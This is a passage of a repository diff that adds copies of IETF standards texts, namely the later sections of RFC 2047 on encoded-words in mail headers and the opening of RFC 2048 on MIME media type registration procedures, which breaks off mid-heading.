+Moore Standards Track [Page 6] + +RFC 2047 Message Header Extensions November 1996 + + +5. Use of encoded-words in message headers + + An 'encoded-word' may appear in a message header or body part header + according to the following rules: + +(1) An 'encoded-word' may replace a 'text' token (as defined by RFC 822) + in any Subject or Comments header field, any extension message + header field, or any MIME body part field for which the field body + is defined as '*text'. An 'encoded-word' may also appear in any + user-defined ("X-") message or body part header field. + + Ordinary ASCII text and 'encoded-word's may appear together in the + same header field. However, an 'encoded-word' that appears in a + header field defined as '*text' MUST be separated from any adjacent + 'encoded-word' or 'text' by 'linear-white-space'. + +(2) An 'encoded-word' may appear within a 'comment' delimited by "(" and + ")", i.e., wherever a 'ctext' is allowed. More precisely, the RFC + 822 ABNF definition for 'comment' is amended as follows: + + comment = "(" *(ctext / quoted-pair / comment / encoded-word) ")" + + A "Q"-encoded 'encoded-word' which appears in a 'comment' MUST NOT + contain the characters "(", ")" or " + 'encoded-word' that appears in a 'comment' MUST be separated from + any adjacent 'encoded-word' or 'ctext' by 'linear-white-space'. + + It is important to note that 'comment's are only recognized inside + "structured" field bodies. In fields whose bodies are defined as + '*text', "(" and ")" are treated as ordinary characters rather than + comment delimiters, and rule (1) of this section applies. (See RFC + 822, sections 3.1.2 and 3.1.3) + +(3) As a replacement for a 'word' entity within a 'phrase', for example, + one that precedes an address in a From, To, or Cc header. The ABNF + definition for 'phrase' from RFC 822 thus becomes: + + phrase = 1*( encoded-word / word ) + + In this case the set of characters that may be used in a "Q"-encoded + 'encoded-word' is restricted to: . An 'encoded-word' that appears within a + 'phrase' MUST be separated from any adjacent 'word', 'text' or + 'special' by 'linear-white-space'. + + + + + + +Moore Standards Track [Page 7] + +RFC 2047 Message Header Extensions November 1996 + + + These are the ONLY locations where an 'encoded-word' may appear. In + particular: + + + An 'encoded-word' MUST NOT appear in any portion of an 'addr-spec'. + + + An 'encoded-word' MUST NOT appear within a 'quoted-string'. + + + An 'encoded-word' MUST NOT be used in a Received header field. + + + An 'encoded-word' MUST NOT be used in parameter of a MIME + Content-Type or Content-Disposition field, or in any structured + field body except within a 'comment' or 'phrase'. + + The 'encoded-text' in an 'encoded-word' must be self-contained; + 'encoded-text' MUST NOT be continued from one 'encoded-word' to + another. This implies that the 'encoded-text' portion of a "B" + 'encoded-word' will be a multiple of 4 characters long; for a "Q" + 'encoded-word', any "=" character that appears in the 'encoded-text' + portion will be followed by two hexadecimal characters. + + Each 'encoded-word' MUST encode an integral number of octets. The + 'encoded-text' in each 'encoded-word' must be well-formed according + to the encoding specified; the 'encoded-text' may not be continued in + the next 'encoded-word'. (For example, "=?charset?Q?=?= + =?charset?Q?AB?=" would be illegal, because the two hex digits "AB" + must follow the "=" in the same 'encoded-word'.) + + Each 'encoded-word' MUST represent an integral number of characters. + A multi-octet character may not be split across adjacent 'encoded- + word's. + + Only printable and white space character data should be encoded using + this scheme. However, since these encoding schemes allow the + encoding of arbitrary octet values, mail readers that implement this + decoding should also ensure that display of the decoded data on the + recipient's terminal will not cause unwanted side-effects. + + Use of these methods to encode non-textual data (e.g., pictures or + sounds) is not defined by this memo. Use of 'encoded-word's to + represent strings of purely ASCII characters is allowed, but + discouraged. In rare cases it may be necessary to encode ordinary + text that looks like an 'encoded-word'. + + + + + + + + + +Moore Standards Track [Page 8] + +RFC 2047 Message Header Extensions November 1996 + + +6. Support of 'encoded-word's by mail readers + +6.1. Recognition of 'encoded-word's in message headers + + A mail reader must parse the message and body part headers according + to the rules in RFC 822 to correctly recognize 'encoded-word's. + + 'encoded-word's are to be recognized as follows: + + (1) Any message or body part header field defined as '*text', or any + user-defined header field, should be parsed as follows: Beginning + at the start of the field-body and immediately following each + occurrence of 'linear-white-space', each sequence of up to 75 + printable characters (not containing any 'linear-white-space') + should be examined to see if it is an 'encoded-word' according to + the syntax rules in section 2. Any other sequence of printable + characters should be treated as ordinary ASCII text. + + (2) Any header field not defined as '*text' should be parsed + according to the syntax rules for that header field. However, + any 'word' that appears within a 'phrase' should be treated as an + 'encoded-word' if it meets the syntax rules in section 2. + Otherwise it should be treated as an ordinary 'word'. + + (3) Within a 'comment', any sequence of up to 75 printable characters + (not containing 'linear-white-space'), that meets the syntax + rules in section 2, should be treated as an 'encoded-word'. + Otherwise it should be treated as normal comment text. + + (4) A MIME-Version header field is NOT required to be present for + 'encoded-word's to be interpreted according to this + specification. One reason for this is that the mail reader is + not expected to parse the entire message header before displaying + lines that may contain 'encoded-word's. + +6.2. Display of 'encoded-word's + + Any 'encoded-word's so recognized are decoded, and if possible, the + resulting unencoded text is displayed in the original character set. + + NOTE: Decoding and display of encoded-words occurs *after* a + structured field body is parsed into tokens. It is therefore + possible to hide 'special' characters in encoded-words which, when + displayed, will be indistinguishable from 'special' characters in the + surrounding text. For this and other reasons, it is NOT generally + possible to translate a message header containing 'encoded-word's to + an unencoded form which can be parsed by an RFC 822 mail reader. + + + + +Moore Standards Track [Page 9] + +RFC 2047 Message Header Extensions November 1996 + + + When displaying a particular header field that contains multiple + 'encoded-word's, any 'linear-white-space' that separates a pair of + adjacent 'encoded-word's is ignored. (This is to allow the use of + multiple 'encoded-word's to represent long strings of unencoded text, + without having to separate 'encoded-word's where spaces occur in the + unencoded text.) + + In the event other encodings are defined in the future, and the mail + reader does not support the encoding used, it may either (a) display + the 'encoded-word' as ordinary text, or (b) substitute an appropriate + message indicating that the text could not be decoded. + + If the mail reader does not support the character set used, it may + (a) display the 'encoded-word' as ordinary text (i.e., as it appears + in the header), (b) make a "best effort" to display using such + characters as are available, or (c) substitute an appropriate message + indicating that the decoded text could not be displayed. + + If the character set being used employs code-switching techniques, + display of the encoded text implicitly begins in "ASCII mode". In + addition, the mail reader must ensure that the output device is once + again in "ASCII mode" after the 'encoded-word' is displayed. + +6.3. Mail reader handling of incorrectly formed 'encoded-word's + + It is possible that an 'encoded-word' that is legal according to the + syntax defined in section 2, is incorrectly formed according to the + rules for the encoding being used. For example: + + (1) An 'encoded-word' which contains characters which are not legal + for a particular encoding (for example, a "-" in the "B" + encoding, or a SPACE or HTAB in either the "B" or "Q" encoding), + is incorrectly formed. + + (2) Any 'encoded-word' which encodes a non-integral number of + characters or octets is incorrectly formed. + + A mail reader need not attempt to display the text associated with an + 'encoded-word' that is incorrectly formed. However, a mail reader + MUST NOT prevent the display or handling of a message because an + 'encoded-word' is incorrectly formed. + +7. Conformance + + A mail composing program claiming compliance with this specification + MUST ensure that any string of non-white-space printable ASCII + characters within a '*text' or '*ctext' that begins with "=?" and + ends with "?=" be a valid 'encoded-word'. ("begins" means: at the + + + +Moore Standards Track [Page 10] + +RFC 2047 Message Header Extensions November 1996 + + + start of the field-body, immediately following 'linear-white-space', + or immediately following a "(" for an 'encoded-word' within '*ctext'; + "ends" means: at the end of the field-body, immediately preceding + 'linear-white-space', or immediately preceding a ")" for an + 'encoded-word' within '*ctext'.) In addition, any 'word' within a + 'phrase' that begins with "=?" and ends with "?=" must be a valid + 'encoded-word'. + + A mail reading program claiming compliance with this specification + must be able to distinguish 'encoded-word's from 'text', 'ctext', or + 'word's, according to the rules in section 6, anytime they appear in + appropriate places in message headers. It must support both the "B" + and "Q" encodings for any character set which it supports. The + program must be able to display the unencoded text if the character + set is "US-ASCII". For the ISO-8859-* character sets, the mail + reading program must at least be able to display the characters which + are also in the ASCII set. + +8. Examples + + The following are examples of message headers containing 'encoded- + word's: + + From: =?US-ASCII?Q?Keith_Moore?= + To: =?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= + CC: =?ISO-8859-1?Q?Andr=E9?= Pirard + Subject: =?ISO-8859-1?B?SWYgeW91IGNhbiByZWFkIHRoaXMgeW8=?= + =?ISO-8859-2?B?dSB1bmRlcnN0YW5kIHRoZSBleGFtcGxlLg==?= + + Note: In the first 'encoded-word' of the Subject field above, the + last "=" at the end of the 'encoded-text' is necessary because each + 'encoded-word' must be self-contained (the "=" character completes a + group of 4 base64 characters representing 2 octets). An additional + octet could have been encoded in the first 'encoded-word' (so that + the encoded-word would contain an exact multiple of 3 encoded + octets), except that the second 'encoded-word' uses a different + 'charset' than the first one. + + From: =?ISO-8859-1?Q?Olle_J=E4rnefors?= + To: ietf-822@dimacs.rutgers.edu, ojarnef@admin.kth.se + Subject: Time for ISO 10646? + + To: Dave Crocker + Cc: ietf-822@dimacs.rutgers.edu, paf@comsol.se + From: =?ISO-8859-1?Q?Patrik_F=E4ltstr=F6m?= + Subject: Re: RFC-HDR care and feeding + + + + + +Moore Standards Track [Page 11] + +RFC 2047 Message Header Extensions November 1996 + + + From: Nathaniel Borenstein + (=?iso-8859-8?b?7eXs+SDv4SDp7Oj08A==?=) + To: Greg Vaudreuil , Ned Freed + , Keith Moore + Subject: Test of new header generator + MIME-Version: 1.0 + Content-type: text/plain; charset=ISO-8859-1 + + The following examples illustrate how text containing 'encoded-word's + which appear in a structured field body. The rules are slightly + different for fields defined as '*text' because "(" and ")" are not + recognized as 'comment' delimiters. [Section 5, paragraph (1)]. + + In each of the following examples, if the same sequence were to occur + in a '*text' field, the "displayed as" form would NOT be treated as + encoded words, but be identical to the "encoded form". This is + because each of the encoded-words in the following examples is + adjacent to a "(" or ")" character. + + encoded form displayed as + --------------------------------------------------------------------- + (=?ISO-8859-1?Q?a?=) (a) + + (=?ISO-8859-1?Q?a?= b) (a b) + + Within a 'comment', white space MUST appear between an + 'encoded-word' and surrounding text. [Section 5, + paragraph (2)]. However, white space is not needed between + the initial "(" that begins the 'comment', and the + 'encoded-word'. + + + (=?ISO-8859-1?Q?a?= =?ISO-8859-1?Q?b?=) (ab) + + White space between adjacent 'encoded-word's is not + displayed. + + (=?ISO-8859-1?Q?a?= =?ISO-8859-1?Q?b?=) (ab) + + Even multiple SPACEs between 'encoded-word's are ignored + for the purpose of display. + + (=?ISO-8859-1?Q?a?= (ab) + =?ISO-8859-1?Q?b?=) + + Any amount of linear-space-white between 'encoded-word's, + even if it includes a CRLF followed by one or more SPACEs, + is ignored for the purposes of display. + + + +Moore Standards Track [Page 12] + +RFC 2047 Message Header Extensions November 1996 + + + (=?ISO-8859-1?Q?a_b?=) (a b) + + In order to cause a SPACE to be displayed within a portion + of encoded text, the SPACE MUST be encoded as part of the + 'encoded-word'. + + (=?ISO-8859-1?Q?a?= =?ISO-8859-2?Q?_b?=) (a b) + + In order to cause a SPACE to be displayed between two strings + of encoded text, the SPACE MAY be encoded as part of one of + the 'encoded-word's. + +9. References + + [RFC 822] Crocker, D., "Standard for the Format of ARPA Internet Text + Messages", STD 11, RFC 822, UDEL, August 1982. + + [RFC 2049] Borenstein, N., and N. Freed, "Multipurpose Internet Mail + Extensions (MIME) Part Five: Conformance Criteria and Examples", + RFC 2049, November 1996. + + [RFC 2045] Borenstein, N., and N. Freed, "Multipurpose Internet Mail + Extensions (MIME) Part One: Format of Internet Message Bodies", + RFC 2045, November 1996. + + [RFC 2046] Borenstein N., and N. Freed, "Multipurpose Internet Mail + Extensions (MIME) Part Two: Media Types", RFC 2046, + November 1996. + + [RFC 2048] Freed, N., Klensin, J., and J. Postel, "Multipurpose + Internet Mail Extensions (MIME) Part Four: Registration + Procedures", RFC 2048, November 1996. + + + + + + + + + + + + + + + + + + + +Moore Standards Track [Page 13] + +RFC 2047 Message Header Extensions November 1996 + + +10. Security Considerations + + Security issues are not discussed in this memo. + +11. Acknowledgements + + The author wishes to thank Nathaniel Borenstein, Issac Chan, Lutz + Donnerhacke, Paul Eggert, Ned Freed, Andreas M. Kirchwitz, Olle + Jarnefors, Mike Rosin, Yutaka Sato, Bart Schaefer, and Kazuhiko + Yamamoto, for their helpful advice, insightful comments, and + illuminating questions in response to earlier versions of this + specification. + +12. Author's Address + + Keith Moore + University of Tennessee + 107 Ayres Hall + Knoxville TN 37996-1301 + + EMail: moore@cs.utk.edu + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Moore Standards Track [Page 14] + +RFC 2047 Message Header Extensions November 1996 + + +Appendix - changes since RFC 1522 (in no particular order) + + + explicitly state that the MIME-Version is not requried to use + 'encoded-word's. + + + add explicit note that SPACEs and TABs are not allowed within + 'encoded-word's, explaining that an 'encoded-word' must look like an + 'atom' to an RFC822 parser.values, to be precise). + + + add examples from Olle Jarnefors (thanks!) which illustrate how + encoded-words with adjacent linear-white-space are displayed. + + + explicitly list terms defined in RFC822 and referenced in this memo + + + fix transcription typos that caused one or two lines and a couple of + characters to disappear in the resulting text, due to nroff quirks. + + + clarify that encoded-words are allowed in '*text' fields in both + RFC822 headers and MIME body part headers, but NOT as parameter + values. + + + clarify the requirement to switch back to ASCII within the encoded + portion of an 'encoded-word', for any charset that uses code switching + sequences. + + + add a note about 'encoded-word's being delimited by "(" and ")" + within a comment, but not in a *text (how bizarre!). + + + fix the Andre Pirard example to get rid of the trailing "_" after + the =E9. (no longer needed post-1342). + + + clarification: an 'encoded-word' may appear immediately following + the initial "(" or immediately before the final ")" that delimits a + comment, not just adjacent to "(" and ")" *within* *ctext. + + + add a note to explain that a "B" 'encoded-word' will always have a + multiple of 4 characters in the 'encoded-text' portion. + + + add note about the "=" in the examples + + + note that processing of 'encoded-word's occurs *after* parsing, and + some of the implications thereof. + + + explicitly state that you can't expect to translate between + 1522 and either vanilla 822 or so-called "8-bit headers". + + + explicitly state that 'encoded-word's are not valid within a + 'quoted-string'. + + + +Moore Standards Track [Page 15] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2048.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2048.txt new file mode 100644 index 00000000..a3b18b31 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2048.txt @@ -0,0 +1,1180 @@ + + + + + + +Network Working Group N. Freed +Request for Comments: 2048 Innosoft +BCP: 13 J. Klensin +Obsoletes: 1521, 1522, 1590 MCI +Category: Best Current Practice J. Postel + ISI + November 1996 + + + Multipurpose Internet Mail Extensions + (MIME) Part Four: + Registration Procedures + +Status of this Memo + + This document specifies an Internet Best Current Practices for the + Internet Community, and requests discussion and suggestions for + improvements. Distribution of this memo is unlimited. + +Abstract + + STD 11, RFC 822, defines a message representation protocol specifying + considerable detail about US-ASCII message headers, and leaves the + message content, or message body, as flat US-ASCII text. This set of + documents, collectively called the Multipurpose Internet Mail + Extensions, or MIME, redefines the format of messages to allow for + + (1) textual message bodies in character sets other than + US-ASCII, + + (2) an extensible set of different formats for non-textual + message bodies, + + (3) multi-part message bodies, and + + (4) textual header information in character sets other than + US-ASCII. + + These documents are based on earlier work documented in RFC 934, STD + 11, and RFC 1049, but extends and revises them. Because RFC 822 said + so little about message bodies, these documents are largely + orthogonal to (rather than a revision of) RFC 822. + + + + + + + + + +Freed, et. al. Best Current Practice [Page 1] + +RFC 2048 MIME Registration Procedures November 1996 + + + This fourth document, RFC 2048, specifies various IANA registration + procedures for the following MIME facilities: + + (1) media types, + + (2) external body access types, + + (3) content-transfer-encodings. + + Registration of character sets for use in MIME is covered elsewhere + and is no longer addressed by this document. + + These documents are revisions of RFCs 1521 and 1522, which themselves + were revisions of RFCs 1341 and 1342. An appendix in RFC 2049 + describes differences and changes from previous versions. + +Table of Contents + + 1. Introduction ......................................... 3 + 2. Media Type Registration .............................. 4 + 2.1 Registration Trees and Subtype Names ................ 4 + 2.1.1 IETF Tree ......................................... 4 + 2.1.2 Vendor Tree ....................................... 4 + 2.1.3 Personal or Vanity Tree ........................... 5 + 2.1.4 Special `x.' Tree ................................. 5 + 2.1.5 Additional Registration Trees ..................... 6 + 2.2 Registration Requirements ........................... 6 + 2.2.1 Functionality Requirement ......................... 6 + 2.2.2 Naming Requirements ............................... 6 + 2.2.3 Parameter Requirements ............................ 7 + 2.2.4 Canonicalization and Format Requirements .......... 7 + 2.2.5 Interchange Recommendations ....................... 8 + 2.2.6 Security Requirements ............................. 8 + 2.2.7 Usage and Implementation Non-requirements ......... 9 + 2.2.8 Publication Requirements .......................... 10 + 2.2.9 Additional Information ............................ 10 + 2.3 Registration Procedure .............................. 11 + 2.3.1 Present the Media Type to the Community for Review 11 + 2.3.2 IESG Approval ..................................... 12 + 2.3.3 IANA Registration ................................. 12 + 2.4 Comments on Media Type Registrations ................ 12 + 2.5 Location of Registered Media Type List .............. 12 + 2.6 IANA Procedures for Registering Media Types ......... 12 + 2.7 Change Control ...................................... 13 + 2.8 Registration Template ............................... 14 + 3. External Body Access Types ........................... 14 + 3.1 Registration Requirements ........................... 15 + 3.1.1 Naming Requirements ............................... 15 + + + +Freed, et. al. Best Current Practice [Page 2] + +RFC 2048 MIME Registration Procedures November 1996 + + + 3.1.2 Mechanism Specification Requirements .............. 15 + 3.1.3 Publication Requirements .......................... 15 + 3.1.4 Security Requirements ............................. 15 + 3.2 Registration Procedure .............................. 15 + 3.2.1 Present the Access Type to the Community .......... 16 + 3.2.2 Access Type Reviewer .............................. 16 + 3.2.3 IANA Registration ................................. 16 + 3.3 Location of Registered Access Type List ............. 16 + 3.4 IANA Procedures for Registering Access Types ........ 16 + 4. Transfer Encodings ................................... 17 + 4.1 Transfer Encoding Requirements ...................... 17 + 4.1.1 Naming Requirements ............................... 17 + 4.1.2 Algorithm Specification Requirements .............. 18 + 4.1.3 Input Domain Requirements ......................... 18 + 4.1.4 Output Range Requirements ......................... 18 + 4.1.5 Data Integrity and Generality Requirements ........ 18 + 4.1.6 New Functionality Requirements .................... 18 + 4.2 Transfer Encoding Definition Procedure .............. 19 + 4.3 IANA Procedures for Transfer Encoding Registration... 19 + 4.4 Location of Registered Transfer Encodings List ...... 19 + 5. Authors' Addresses ................................... 20 + A. Grandfathered Media Types ............................ 21 + +1. Introduction + + Recent Internet protocols have been carefully designed to be easily + extensible in certain areas. In particular, MIME [RFC 2045] is an + open-ended framework and can accommodate additional object types, + character sets, and access methods without any changes to the basic + protocol. A registration process is needed, however, to ensure that + the set of such values is developed in an orderly, well-specified, + and public manner. + + This document defines registration procedures which use the Internet + Assigned Numbers Authority (IANA) as a central registry for such + values. + + Historical Note: The registration process for media types was + initially defined in the context of the asynchronous Internet mail + environment. In this mail environment there is a need to limit the + number of possible media types to increase the likelihood of + interoperability when the capabilities of the remote mail system are + not known. As media types are used in new environments, where the + proliferation of media types is not a hindrance to interoperability, + the original procedure was excessively restrictive and had to be + generalized. + + + + + +Freed, et. al. Best Current Practice [Page 3] + +RFC 2048 MIME Registration Procedures November 1996 + + +2. Media Type Registration + + Registration of a new media type or types starts with the + construction of a registration proposal. Registration may occur in + several different registration trees, which have different + requirements as discussed below. In general, the new registration + proposal is circulated and reviewed in a fashion appropriate to the + tree involved. The media type is then registered if the proposal is + acceptable. The following sections describe the requirements and + procedures used for each of the different registration trees. + +2.1. Registration Trees and Subtype Names + + In order to increase the efficiency and flexibility of the + registration process, different structures of subtype names may be + registered to accomodate the different natural requirements for, + e.g., a subtype that will be recommended for wide support and + implementation by the Internet Community or a subtype that is used to + move files associated with proprietary software. The following + subsections define registration "trees", distinguished by the use of + faceted names (e.g., names of the form "tree.subtree...type"). Note + that some media types defined prior to this document do not conform + to the naming conventions described below. See Appendix A for a + discussion of them. + +2.1.1. IETF Tree + + The IETF tree is intended for types of general interest to the + Internet Community. Registration in the IETF tree requires approval + by the IESG and publication of the media type registration as some + form of RFC. + + Media types in the IETF tree are normally denoted by names that are + not explicitly faceted, i.e., do not contain period (".", full stop) + characters. + + The "owner" of a media type registration in the IETF tree is assumed + to be the IETF itself. Modification or alteration of the + specification requires the same level of processing (e.g. standards + track) required for the initial registration. + +2.1.2. Vendor Tree + + The vendor tree is used for media types associated with commercially + available products. "Vendor" or "producer" are construed as + equivalent and very broadly in this context. + + + + + +Freed, et. al. Best Current Practice [Page 4] + +RFC 2048 MIME Registration Procedures November 1996 + + + A registration may be placed in the vendor tree by anyone who has + need to interchange files associated with the particular product. + However, the registration formally belongs to the vendor or + organization producing the software or file format. Changes to the + specification will be made at their request, as discussed in + subsequent sections. + + Registrations in the vendor tree will be distinguished by the leading + facet "vnd.". That may be followed, at the discretion of the + registration, by either a media type name from a well-known producer + (e.g., "vnd.mudpie") or by an IANA-approved designation of the + producer's name which is then followed by a media type or product + designation (e.g., vnd.bigcompany.funnypictures). + + While public exposure and review of media types to be registered in + the vendor tree is not required, using the ietf-types list for review + is strongly encouraged to improve the quality of those + specifications. Registrations in the vendor tree may be submitted + directly to the IANA. + +2.1.3. Personal or Vanity Tree + + Registrations for media types created experimentally or as part of + products that are not distributed commercially may be registered in + the personal or vanity tree. The registrations are distinguished by + the leading facet "prs.". + + The owner of "personal" registrations and associated specifications + is the person or entity making the registration, or one to whom + responsibility has been transferred as described below. + + While public exposure and review of media types to be registered in + the personal tree is not required, using the ietf-types list for + review is strongly encouraged to improve the quality of those + specifications. Registrations in the personl tree may be submitted + directly to the IANA. + +2.1.4. Special `x.' Tree + + For convenience and symmetry with this registration scheme, media + type names with "x." as the first facet may be used for the same + purposes for which names starting in "x-" are normally used. These + types are unregistered, experimental, and should be used only with + the active agreement of the parties exchanging them. + + + + + + + +Freed, et. al. Best Current Practice [Page 5] + +RFC 2048 MIME Registration Procedures November 1996 + + + However, with the simplified registration procedures described above + for vendor and personal trees, it should rarely, if ever, be + necessary to use unregistered experimental types, and as such use of + both "x-" and "x." forms is discouraged. + +2.1.5. Additional Registration Trees + + From time to time and as required by the community, the IANA may, + with the advice and consent of the IESG, create new top-level + registration trees. It is explicitly assumed that these trees may be + created for external registration and management by well-known + permanent bodies, such as scientific societies for media types + specific to the sciences they cover. In general, the quality of + review of specifications for one of these additional registration + trees is expected to be equivalent to that which IETF would give to + registrations in its own tree. Establishment of these new trees will + be announced through RFC publication approved by the IESG. + +2.2. Registration Requirements + + Media type registration proposals are all expected to conform to + various requirements laid out in the following sections. Note that + requirement specifics sometimes vary depending on the registration + tree, again as detailed in the following sections. + +2.2.1. Functionality Requirement + + Media types must function as an actual media format: Registration of + things that are better thought of as a transfer encoding, as a + character set, or as a collection of separate entities of another + type, is not allowed. For example, although applications exist to + decode the base64 transfer encoding [RFC 2045], base64 cannot be + registered as a media type. + + This requirement applies regardless of the registration tree + involved. + +2.2.2. Naming Requirements + + All registered media types must be assigned MIME type and subtype + names. The combination of these names then serves to uniquely + identify the media type and the format of the subtype name identifies + the registration tree. + + The choice of top-level type name must take the nature of media type + involved into account. For example, media normally used for + representing still images should be a subtype of the image content + type, whereas media capable of representing audio information belongs + + + +Freed, et. al. Best Current Practice [Page 6] + +RFC 2048 MIME Registration Procedures November 1996 + + + under the audio content type. See RFC 2046 for additional information + on the basic set of top-level types and their characteristics. + + New subtypes of top-level types must conform to the restrictions of + the top-level type, if any. For example, all subtypes of the + multipart content type must use the same encapsulation syntax. + + In some cases a new media type may not "fit" under any currently + defined top-level content type. Such cases are expected to be quite + rare. However, if such a case arises a new top-level type can be + defined to accommodate it. Such a definition must be done via + standards-track RFC; no other mechanism can be used to define + additional top-level content types. + + These requirements apply regardless of the registration tree + involved. + +2.2.3. Parameter Requirements + + Media types may elect to use one or more MIME content type + parameters, or some parameters may be automatically made available to + the media type by virtue of being a subtype of a content type that + defines a set of parameters applicable to any of its subtypes. In + either case, the names, values, and meanings of any parameters must + be fully specified when a media type is registered in the IETF tree, + and should be specified as completely as possible when media types + are registered in the vendor or personal trees. + + New parameters must not be defined as a way to introduce new + functionality in types registered in the IETF tree, although new + parameters may be added to convey additional information that does + not otherwise change existing functionality. An example of this + would be a "revision" parameter to indicate a revision level of an + external specification such as JPEG. Similar behavior is encouraged + for media types registered in the vendor or personal trees but is not + required. + +2.2.4. Canonicalization and Format Requirements + + All registered media types must employ a single, canonical data + format, regardless of registration tree. + + A precise and openly available specification of the format of each + media type is required for all types registered in the IETF tree and + must at a minimum be referenced by, if it isn't actually included in, + the media type registration proposal itself. + + + + + +Freed, et. al. Best Current Practice [Page 7] + +RFC 2048 MIME Registration Procedures November 1996 + + + The specifications of format and processing particulars may or may + not be publically available for media types registered in the vendor + tree, and such registration proposals are explicitly permitted to + include only a specification of which software and version produce or + process such media types. References to or inclusion of format + specifications in registration proposals is encouraged but not + required. + + Format specifications are still required for registration in the + personal tree, but may be either published as RFCs or otherwise + deposited with IANA. The deposited specifications will meet the same + criteria as those required to register a well-known TCP port and, in + particular, need not be made public. + + Some media types involve the use of patented technology. The + registration of media types involving patented technology is + specifically permitted. However, the restrictions set forth in RFC + 1602 on the use of patented technology in standards-track protocols + must be respected when the specification of a media type is part of a + standards-track protocol. + +2.2.5. Interchange Recommendations + + Media types should, whenever possible, interoperate across as many + systems and applications as possible. However, some media types will + inevitably have problems interoperating across different platforms. + Problems with different versions, byte ordering, and specifics of + gateway handling can and will arise. + + Universal interoperability of media types is not required, but known + interoperability issues should be identified whenever possible. + Publication of a media type does not require an exhaustive review of + interoperability, and the interoperability considerations section is + subject to continuing evaluation. + + These recommendations apply regardless of the registration tree + involved. + +2.2.6. Security Requirements + + An analysis of security issues is required for for all types + registered in the IETF Tree. (This is in accordance with the basic + requirements for all IETF protocols.) A similar analysis for media + types registered in the vendor or personal trees is encouraged but + not required. However, regardless of what security analysis has or + has not been done, all descriptions of security issues must be as + accurate as possible regardless of registration tree. In particular, + a statement that there are "no security issues associated with this + + + +Freed, et. al. Best Current Practice [Page 8] + +RFC 2048 MIME Registration Procedures November 1996 + + + type" must not be confused with "the security issues associates with + this type have not been assessed". + + There is absolutely no requirement that media types registered in any + tree be secure or completely free from risks. Nevertheless, all + known security risks must be identified in the registration of a + media type, again regardless of registration tree. + + The security considerations section of all registrations is subject + to continuing evaluation and modification, and in particular may be + extended by use of the "comments on media types" mechanism described + in subsequent sections. + + Some of the issues that should be looked at in a security analysis of + a media type are: + + (1) Complex media types may include provisions for + directives that institute actions on a recipient's + files or other resources. In many cases provision is + made for originators to specify arbitrary actions in an + unrestricted fashion which may then have devastating + effects. See the registration of the + application/postscript media type in RFC 2046 for + an example of such directives and how to handle them. + + (2) Complex media types may include provisions for + directives that institute actions which, while not + directly harmful to the recipient, may result in + disclosure of information that either facilitates a + subsequent attack or else violates a recipient's + privacy in some way. Again, the registration of the + application/postscript media type illustrates how such + directives can be handled. + + (3) A media type might be targeted for applications that + require some sort of security assurance but not provide + the necessary security mechanisms themselves. For + example, a media type could be defined for storage of + confidential medical information which in turn requires + an external confidentiality service. + +2.2.7. Usage and Implementation Non-requirements + + In the asynchronous mail environment, where information on the + capabilities of the remote mail agent is frequently not available to + the sender, maximum interoperability is attained by restricting the + number of media types used to those "common" formats expected to be + widely implemented. This was asserted in the past as a reason to + + + +Freed, et. al. Best Current Practice [Page 9] + +RFC 2048 MIME Registration Procedures November 1996 + + + limit the number of possible media types and resulted in a + registration process with a significant hurdle and delay for those + registering media types. + + However, the need for "common" media types does not require limiting + the registration of new media types. If a limited set of media types + is recommended for a particular application, that should be asserted + by a separate applicability statement specific for the application + and/or environment. + + As such, universal support and implementation of a media type is NOT + a requirement for registration. If, however, a media type is + explicitly intended for limited use, this should be noted in its + registration. + +2.2.8. Publication Requirements + + Proposals for media types registered in the IETF tree must be + published as RFCs. RFC publication of vendor and personal media type + proposals is encouraged but not required. In all cases IANA will + retain copies of all media type proposals and "publish" them as part + of the media types registration tree itself. + + Other than in the IETF tree, the registration of a data type does not + imply endorsement, approval, or recommendation by IANA or IETF or + even certification that the specification is adequate. To become + Internet Standards, protocol, data objects, or whatever must go + through the IETF standards process. This is too difficult and too + lengthy a process for the convenient registration of media types. + + The IETF tree exists for media types that do require require a + substantive review and approval process with the vendor and personal + trees exist for those that do not. It is expected that applicability + statements for particular applications will be published from time to + time that recommend implementation of, and support for, media types + that have proven particularly useful in those contexts. + + As discussed above, registration of a top-level type requires + standards-track processing and, hence, RFC publication. + +2.2.9. Additional Information + + Various sorts of optional information may be included in the + specification of a media type if it is available: + + (1) Magic number(s) (length, octet values). Magic numbers + are byte sequences that are always present and thus can + be used to identify entities as being of a given media + + + +Freed, et. al. Best Current Practice [Page 10] + +RFC 2048 MIME Registration Procedures November 1996 + + + type. + + (2) File extension(s) commonly used on one or more + platforms to indicate that some file containing a given + type of media. + + (3) Macintosh File Type code(s) (4 octets) used to label + files containing a given type of media. + + Such information is often quite useful to implementors and if + available should be provided. + +2.3. Registration Procedure + + The following procedure has been implemented by the IANA for review + and approval of new media types. This is not a formal standards + process, but rather an administrative procedure intended to allow + community comment and sanity checking without excessive time delay. + For registration in the IETF tree, the normal IETF processes should + be followed, treating posting of an internet-draft and announcement + on the ietf-types list (as described in the next subsection) as a + first step. For registrations in the vendor or personal tree, the + initial review step described below may be omitted and the type + registered directly by submitting the template and an explanation + directly to IANA (at iana@iana.org). However, authors of vendor or + personal media type specifications are encouraged to seek community + review and comment whenever that is feasible. + +2.3.1. Present the Media Type to the Community for Review + + Send a proposed media type registration to the "ietf-types@iana.org" + mailing list for a two week review period. This mailing list has + been established for the purpose of reviewing proposed media and + access types. Proposed media types are not formally registered and + must not be used; the "x-" prefix specified in RFC 2045 can be used + until registration is complete. + + The intent of the public posting is to solicit comments and feedback + on the choice of type/subtype name, the unambiguity of the references + with respect to versions and external profiling information, and a + review of any interoperability or security considerations. The + submitter may submit a revised registration, or withdraw the + registration completely, at any time. + + + + + + + + +Freed, et. al. Best Current Practice [Page 11] + +RFC 2048 MIME Registration Procedures November 1996 + + +2.3.2. IESG Approval + + Media types registered in the IETF tree must be submitted to the IESG + for approval. + +2.3.3. IANA Registration + + Provided that the media type meets the requirements for media types + and has obtained approval that is necessary, the author may submit + the registration request to the IANA, which will register the media + type and make the media type registration available to the community. + +2.4. Comments on Media Type Registrations + + Comments on registered media types may be submitted by members of the + community to IANA. These comments will be passed on to the "owner" + of the media type if possible. Submitters of comments may request + that their comment be attached to the media type registration itself, + and if IANA approves of this the comment will be made accessible in + conjunction with the type registration itself. + +2.5. Location of 